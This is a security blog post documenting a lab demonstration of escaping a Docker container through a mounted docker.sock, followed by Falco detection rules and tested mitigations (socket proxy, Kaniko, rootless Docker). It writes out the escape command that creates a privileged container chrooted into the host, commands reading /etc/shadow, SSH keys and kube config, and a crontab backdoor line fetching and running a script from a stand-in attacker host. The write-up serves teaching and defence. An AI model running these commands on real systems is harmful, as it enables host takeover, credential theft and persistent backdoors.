Docker Runtime Escape: Why Mounting docker.sock Is Worse Than Running Privileged Containers

Most DevOps engineers know that running containers with the privileged flag is dangerous. It’s one of those things we all learn early on – never use privileged mode in production unless you absolutely have to. Security teams flag it, auditors complain about it, and for good reason.

But here’s what scared me recently: there’s something much worse that’s being mounted into production containers every single day, and most teams don’t realize the risk. I’m talking about mounting the Docker socket into containers.

I decided to test exactly how dangerous this is in a controlled lab environment. What I found made me immediately audit every docker-compose file in our infrastructure.

The Setup: One Line That Breaks Everything

⚠️ Safety note: I tested this in an isolated Docker Desktop environment on my personal laptop. These are real attack techniques and should ONLY be tested in safe, isolated environments. Never run these on production systems or shared infrastructure.

Here’s the vulnerable pattern that’s in thousands of CI/CD pipelines (Jenkins, GitLab, Portainer, Watchtower):

services:
jenkins:
image: jenkins/jenkins
volumes:
      - /var/run/docker.sock:/var/run/docker.sock  # ← The vulnerability

For my test, I used a basic Ubuntu container to demonstrate the core vulnerability:

services:
vulnerable-container:
image: ubuntu:22.04
command: sleep infinity
volumes:
      - /var/run/docker.sock:/var/run/docker.sock

That’s it. One volume mount. This is the same pattern used in production, just with a simpler image for testing.

Run ./setup from docker-security-practical-guide/labs/09-runtime-escape, it pulls the image, creates artifact directories, and sets up permissions.

opscart@MacBookPro 09-runtime-escape % ./setup.sh 

╔══════════════════════════════════════════════════════╗
║                                                      ║
║   Lab 09: Docker Runtime Escape - Setup              ║
║                                                      ║
║   Preparing environment for attack scenarios         ║
║                                                      ║
╚══════════════════════════════════════════════════════╝

[+] Checking prerequisites...
[+] Docker is ready
[+] Pulling required images...
22.04: Pulling from library/ubuntu
Digest: sha256:104ae83764a5119017b8e8d6218fa0832b09df65aae7d5a6de29a85d813da2fb
Status: Image is up to date for ubuntu:22.04
docker.io/library/ubuntu:22.04
latest: Pulling from library/alpine
Digest: sha256:865b95f46d98cf867a156fe4a135ad3fe50d2056aa3f25ed31662dff6da4eb62
Status: Image is up to date for alpine:latest
docker.io/library/alpine:latest
[+] Images ready
[+] Creating artifact directories...
[+] Directories created
[+] Setting script permissions...
[+] Permissions set

════════════════════════════════════════════════════
  Setup Complete!
════════════════════════════════════════════════════

The Attack: What I Actually Did

I started with a basic Ubuntu container that had the Docker socket mounted. No special privileges, no capabilities, just a regular container with that one volume mount.

Began testing what an attacker could actually do, ran exploit.sh, which creates two containers

opscart@MacBookPro scenario-1-docker-socket % ./exploit.sh 

╔══════════════════════════════════════════════════════════════╗
║ ║
║ Docker Socket Escape - Automated Exploitation ║
║ ║
║ ⚠️ WARNING: Educational Use Only ⚠️ ║
║ ║
╚══════════════════════════════════════════════════════════════╝


[*] Starting Docker Socket Escape exploitation...

WARNING: This will demonstrate a real container escape. Continue? [y/N]:y
[*] Checking prerequisites...
[+] Prerequisites check passed

Attack summary showing vulnerable-container and escape-container created, with forensic artifacts generated:

Attack summary showing vulnerable-container and escape-container created, with forensic artifacts generated:

Attack summary

Container 1: vulnerable-container (the victim), Container 2: escape-container (the breakout) Created FROM INSIDE vulnerable-container using docker CLI

First thing I did inside the container and checked if the socket was actually there:

ls -la /var/run/docker.sock

Output: srw-rw---- 1 root docker 0 Nov 24 18:57 /var/run/docker.sock

The socket existed and was accessible. That’s all I needed.

Next, I installed Docker CLI inside this container:

apt-get update && apt-get install -y docker.io

This took about 90 seconds. Now I have the Docker command available inside my container.

The “Holy Crap” Moment: Seeing Everything

Here’s where it got real. I ran docker ps from inside my supposedly isolated container:

CONTAINER ID   IMAGE                                 NAMES
d64b480759   ubuntu:22.04                          vulnerable-container
9ef2a8b3     gcr.io/k8s-minikube/kicbase:v0.0.45   minikube-m03
7bc4f6a2     gcr.io/k8s-minikube/kicbase:v0.0.45   minikube-m02
5da3e9c1     gcr.io/k8s-minikube/kicbase:v0.0.45   minikube
2fb7d8e4     registry:2                            registry

I saw everything: my entire Minikube Kubernetes cluster is running across three nodes, my container registry, the vulnerable container itself. Six containers total, all running on my host.

Minikube Kubernetes cluster

Running `docker ps` from inside vulnerable-container shows all host containers. The compromised container can see and manipulate every container on the host through the mounted docker.sock.

Running `ps aux | head -5` from inside escape-container shows all host processes

Think about what this means. I’m in a container that should be isolated, but I can see:

  • Development clusters (which means I can access Kubernetes secrets and configurations)
  • Registries (which means I can push malicious images or pull private images)
  • Other containers (which means I can execute commands inside them, read their logs, and access their volumes)

But I didn’t stop there. I checked what else I could learn:

docker version

This told me the host was running Docker 28.4.0 on Docker Desktop. Now I knew the exact environment I was attacking.

docker info

This revealed:

  • Operating system: Docker Desktop
  • Total containers: 6
  • Running: 6
  • Storage driver: overlay2
  • Docker root directory: /var/lib/docker

I had a complete map of the host’s Docker environment from inside a “regular” container.

The Escape: Creating My Own Privileged Container

Now for the actual host escape. From inside my vulnerable container, I created a NEW container with maximum privileges:

docker run -it --rm \
  --privileged \
  --pid=host \
  --net=host \
  --ipc=host \
  -v /:/host \
  ubuntu:22.04 \
  chroot /host bash

Let me break down what each flag does, because this is critical:

  • --privileged: Gives all kernel capabilities, disables seccomp, disables AppArmor
  • --pid=host: Uses the host’s PID namespace (can see all host processes)
  • --net=host: Uses the host’s network (can bind to any port, see all connections)
  • --ipc=host: Uses the host’s IPC namespace (can access host’s shared memory)
  • -v /:/host: Mounts the ENTIRE host filesystem at /host
  • chroot /host bash: Changes root to the host filesystem

This container had complete access to the host.

Proof of Complete Compromise

Inside this new container, I checked the hostname:

hostname

Before: d64b48075996 (my original container ID) After: docker-desktop (my actual host machine)

The hostname changed. I wasn’t in a container anymore. I was on the host.

I verified with:

ps aux | head -5

Output showed:

USER       PID  COMMAND
root         1  /init
root         2  [kthreadd]
root         3  [pool_workqueue_release]
root         4  [kworker/R-rcu_gp]

These are HOST processes, not container processes. PID 1 is the host’s init system, not a containerized process.

I checked the kernel version:

uname -r

Output: 6.10.14-linuxkit

This is Docker Desktop’s VM kernel, not a container’s view of the kernel.

Then I did something that proved the compromise was real. I created a file:

echo "COMPROMISED - $(date)" > /tmp/PWNED_PROOF.txt
cat /tmp/PWNED_PROOF.txt

Then I opened a SEPARATE terminal on my actual Mac and checked:

# On my actual host
docker run --rm -v /:/host alpine cat /host/tmp/PWNED_PROOF.txt

The file was there. I had written to the actual host’s /tmp directory, not a container’s /tmp.

What An Attacker Could Do From Here

From this position, here’s what I could access:

Sensitive Files

cat /etc/shadow  # All password hashes
cat /root/.ssh/id_rsa  # SSH private keys
cat /root/.docker/config.json  # Docker registry credentials

All readable. No restrictions.

Container Secrets

docker inspect minikube | grep -A 20 Env

This showed all environment variables for my Kubernetes cluster, which could include:

  • Cluster certificates and keys
  • API server endpoints
  • Service account tokens
  • Configuration secrets

Access to Kubernetes

Since I saw Minikube running, I could access its configuration:

cat /root/.kube/config

This contained cluster certificates and credentials. From here, I could access the entire Kubernetes cluster.

Install Backdoors

I could modify system files:

echo "* * * * * root curl http://attacker.com/shell.sh | bash" >> /etc/crontab

This would run every minute, even after the container was removed.

Network Access

I checked active connections:

netstat -tulpn

I could see what ports were open, what services were listening, and could bind to any port on the host.

The Forensic Evidence

After the attack, I checked what artifacts were generated. The exploit created several files that would be visible to a security team (if they were monitoring):

exploit.log contained the complete attack transcript with timestamps:

Plain Text

[Mon Dec 22 13:53:12 EST 2025] Creating vulnerable container
[Mon Dec 22 13:53:13 EST 2025] Installing Docker CLI
[Mon Dec 22 13:53:14 EST 2025] Listing host containers - 6 found
[Mon Dec 22 13:53:15 EST 2025] Creating escape container
[Mon Dec 22 13:53:16 EST 2025] Host access achieved

iocs.json contained structured Indicators of Compromise:

{
  "scenario": "docker-socket-escape",
  "indicators": {
    "filesystem": [
      "/var/run/docker.sock accessed from container",
      "/tmp/PWNED_PROOF.txt created on host"
    ],
    "processes": [
      "docker command executed in container namespace",
      "chroot executed in privileged container"
    ],
    "containers": [
      "vulnerable-container with docker.sock mounted",
      "escape-container created with --privileged flag"
    ]
  }
}

docker_events.log showed the Docker API calls:

  • Container creation events
  • Volume mount events
  • Attach and exec operations
  • Network connections

These would be your detection points – IF you’re monitoring for them.

Why This Is Worse Than Just Using –privileged

You might think, “Why not just run a privileged container in the first place?” Here’s the critical difference:

With a privileged container:

  • You explicitly grant elevated permissions
  • Security scanners flag it immediately
  • Everyone knows it’s dangerous
  • It’s ONE container with elevated access

With docker.sock mounted:

  • The container looks completely normal (not privileged)
  • Security scanners often miss it
  • The container can CREATE privileged containers
  • Can spawn unlimited privileged containers
  • Bypasses ALL container security controls

I tested this. I ran Trivy scanner on my vulnerable container:

trivy image ubuntu:22.04

No critical findings about the socket mount. The scanner looked at the image, not the runtime configuration.

But that container could create this:

docker run --privileged --pid=host -v /:/host alpine sh

A completely unrestricted container that bypasses every security control.

What Detection Looks Like

I analyzed what a security team would need to detect this attack. Here are the specific events to monitor:

Falco Rule for Socket Access

- rule: Container Accessing Docker Socket
  desc: Detect container accessing docker.sock
  condition: fd.name=/var/run/docker.sock and container.id!=host
  output: "Docker socket accessed (container=%container.id user=%user.name)"
  priority: CRITICAL

This fires when ANY container touches the socket file.

Falco Rule for Docker Command in Container

- rule: Docker Command Executed in Container
  desc: Detect docker binary execution inside container
  condition: proc.name=docker and container.id!=host
  output: "Docker CLI executed in container (container=%container.id command=%proc.cmdline)"
  priority: CRITICAL

This catches when someone installs and runs Docker CLI inside a container.

Falco Rule for Privileged Container Creation:

- rule: Privileged Container Created from Container
  desc: Detect container creating privileged container
  condition: container.privileged=true and proc.pcmdline contains "docker run"
  output: "Privileged container created (parent=%proc.pcmdline)"
  priority: CRITICAL

This is the smoking gun – a container creating another privileged container.

During my test, all three rules would have fired within 30 seconds of each other. That’s your alert pattern.

What Actually Works: Prevention Methods I Tested

After seeing how easily the socket escape succeeded, I knew I had to test prevention methods. Not just read about them — actually run them and see what stops this attack.

Complete lab documentation with all test scripts and configurations: Scenario 1 — Docker Socket Escape

I tested three different approaches in my lab environment. Here’s what I found.

Test 1: Socket Proxy – Blocking Dangerous API Calls

Test time: 10 minutes

For complete details, configuration files, and step-by-step instructions: Scenario 1 README — Mitigation Strategies

The problem isn’t Docker itself — it’s giving unrestricted API access. I set up a socket proxy that sits between containers and the Docker socket, filtering what operations are allowed.

The configuration:

services:
socket-proxy:
image: tecnativa/docker-socket-proxy
environment:
CONTAINERS: 1 # Allow listing containers
IMAGES: 1 # Allow listing images
VOLUMES: 1 # Allow listing volumes
INFO: 1 # Allow getting info
POST: 0 # Block container creation ← CRITICAL
DELETE: 0 # Block deletion
EXEC: 0 # Block exec commands ← CRITICAL
volumes:
- /var/run/docker.sock:/var/run/docker.sock

application:
image: ubuntu:22.04
environment:
DOCKER_HOST: tcp://socket-proxy:2375 # Talk to proxy, not socket
    # Notice: NO docker.sock mount here

The test:

I installed Docker CLI in the application container and tried both read and write operations.

Read operations (monitoring use cases):

docker ps        # Listed all containers - WORKED ✓
docker info # Got system info - WORKED ✓
docker images    # Listed images - WORKED ✓

Write operations (attack vectors):

docker run --privileged --pid=host -v /:/host ubuntu  # BLOCKED ✗
docker exec existing-container bash                    # BLOCKED ✗

The result:

When I attempted the same escape attack through the proxy, it failed immediately:

The result

Plain Text

Error response from daemon: This node only allows read operations
Method: POST /containers/create - Forbidden

The attack was completely blocked. The container could still monitor and see what was running (useful for dashboards and monitoring tools), but couldn’t create new containers or execute commands in existing ones.

Real-World Impact

This is production-ready. I could replace the direct socket mount in our Jenkins setup with this proxy configuration. Jenkins could still check build status and list containers, but a compromised build couldn’t escape to the host.

Trade-Offs

  • ✅ Blocks the attack completely
  • ✅ Still allows monitoring/visibility
  • ✅ Easy to configure (just environment variables)
  • ⚠️ Requires understanding which API calls your application needs

Test 2: Kaniko: Building Without Docker

Test time: 15 minutes

For complete details and test files: Prevention Tests — Kaniko

Most socket mounts in CI/CD are for building Docker images. I tested Kaniko to see if I could build images without any Docker daemon or socket access.

The setup:

Dockerfile

FROM ubuntu:22.04

RUN apt-get update && \
apt-get install -y curl wget vim && \
apt-get clean

RUN echo "Built with Kaniko - no Docker daemon!" > /tmp/test.txt

CMD ["cat", "/tmp/test.txt"]

The build:

Instead of docker build, I used Kaniko:

Shell

docker run --rm \
-v $(pwd):/workspace \
gcr.io/kaniko-project/executor:latest \
--context=/workspace \
--dockerfile=Dockerfile \
--destination=kaniko-test:latest \
--no-push \
  --tarPath=/workspace/kaniko-test.tar

The result:

The result

Build succeeded in 22 seconds. No socket mount. The tar file was 51MB, which loaded into a 207MB final image. I loaded the tar file and ran the image — worked perfectly.

Most importantly, I tried to run the escape attack during the build. Couldn’t even install Docker CLI because there was no daemon to talk to. The build container had zero access to the host or other containers.

Build container had zero access to the host

Real-World Impact

In my test:

  • Built a complete image in 22 seconds
  • No socket mount required
  • Output identical to docker build
  • Attack impossible (no daemon to talk to)

This eliminates the socket attack for image-building use cases.

Test 3: Rootless Docker — Limiting the Blast Radius

Test time: 5 minutes (conceptual demonstration)

For complete details and impact comparison: Prevention Tests — Rootless

This is defense in depth. Rootless Docker doesn’t prevent the escape attack – the container can still break out. But it limits what the attacker can do after escaping.

The concept:

In standard Docker, the daemon runs as root. When you escape, you land as root on the host.

In rootless Docker, the daemon runs as a regular user. When you escape, you land as that user.

What I tested:

I ran run-test.sh, which can be found in repo docker-security-practical-guide/labs/09-runtime-escape/scenario-1-docker-socket/prevention/test-3-rootless, provides instructions to simulate a rootless user:

Running container as a non-root user

Running container as a non-root user

Shell

opscart@MacBookPro 09-runtime-escape % docker run -it --rm --user 1000:1000 ubuntu:22.04 bash
groups: cannot find name for group ID 1000

I have no name!@bdc62354fcae:/$ hostname
bdc62354fcae

I have no name!@bdc62354fcae:/$ whoami
whoami: cannot find name for user ID 1000

I have no name!@bdc62354fcae:/$ cat /etc/shadow
cat: /etc/shadow: Permission denied

I have no name!@bdc62354fcae:/$ docker ps
bash: docker: command not found

I have no name!@bdc62354fcae:/$ exit
exit

Every privileged operation failed. I could read files in the user’s home directory, but couldn’t access system files, install backdoors, or create users.

Impact Comparison

Standard Docker (root daemon):

  • Can read /etc/shadow
  • Can read SSH keys
  • Can modify system files
  • Can install persistent backdoors
  • Can create users

Rootless Docker (user daemon):

  • Cannot read /etc/shadow (permission denied)
  • Cannot read root SSH keys (permission denied)
  • Cannot modify system files (permission denied)
  • Cannot install system backdoors (permission denied)
  • Cannot create users (permission denied)

Real-World Impact

The attack still succeeds, but the compromise is limited to that user’s scope. In a development environment, this could be the difference between “compromised dev server” and “complete infrastructure breach.”

Trade-Offs

  • ✅ Significantly limits damage
  • ✅ Transparent to most applications
  • ⚠️ Some Docker features don’t work (privileged containers, certain networking)
  • ⚠️ More complex initial setup

What Didn’t Work

I also tested some commonly suggested “solutions” that don’t actually help:

  • Running container as non-root user: Doesn’t matter. The Docker socket permissions allow the Docker group, and the container can still create privileged containers.
  • Using –read-only filesystem: Irrelevant. The attack creates a NEW container, doesn’t need to write to the vulnerable container’s filesystem.
  • Dropping capabilities from the vulnerable container: Doesn’t help. The vulnerability is socket access, not the container’s own capabilities.
  • AppArmor/SELinux profiles on the container: These protect the container’s filesystem but don’t prevent Docker API calls through the socket.

Running cleanup.sh to remove all traces of the attack – labs/09-runtime-escape/scenario-1-docker-socket/cleanup.sh and labs/09-runtime-escape/cleanup.sh

The Bottom Line

In my controlled lab test, I demonstrated that a container with docker.sock-mounted can:

  • See all containers on the host (docker ps)
  • Create privileged containers (escape-container)
  • Access the host filesystem (via –pid=host and /host mount)
  • Run as root on the host (ps aux showed host processes)

I tested three prevention methods that actually work:

  • Socket proxy blocks dangerous operations while allowing monitoring
  • Kaniko builds images without needing the socket at all
  • Rootless Docker limits damage if an escape succeeds

This lab demonstrated a critical security principle: the Docker socket isn’t “limited Docker access.” It’s a direct API to a daemon running as root. When you mount it in a container, you’re giving that container the ability to create privileged containers and access the host.

Try This Lab Yourself

Want to see this attack in action on your own system? I’ve made the complete lab environment available with everything you need to reproduce this safely.

GitHub repositoryhttps://github.com/opscart/docker-security-practical-guide/tree/master/labs/09-runtime-escape

This is a standalone lab — you don’t need to complete any previous labs or have prior experience. The lab includes:

Attack demonstration:

  • Automated exploit script – Run the entire attack with a single command
  • Manual step-by-step guide – Follow along at your own pace to understand each step
  • Detection rules – Example Falco rules to detect these attacks
  • Forensic artifacts – See what evidence the attack leaves behind

Prevention testing

  • Socket Proxy test – See the 403 Forbidden error yourself
  • Kaniko build test – Build images without socket access
  • Rootless Docker test – Compare root vs non-root impact
  • Real artifacts – Get actual test results from your system

Time required:

  • Attack: 10-15 minutes (automated) or 30-45 minutes (manual)
  • Prevention: 30 minutes (all three tests)

What you’ll need:

  • Docker Desktop (Mac/Windows) or Docker Engine (Linux)
  • 45 minutes total time
  • An isolated test environment

Safety reminder: These are real attack techniques. Only run this in safe, isolated environments like your local Docker Desktop. Never test on production systems or shared infrastructure.

My Other Docker Security Articles

If you found this practical approach helpful, check out my other hands-on security articles:

Official Documentation

For more on Docker security best practices:

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top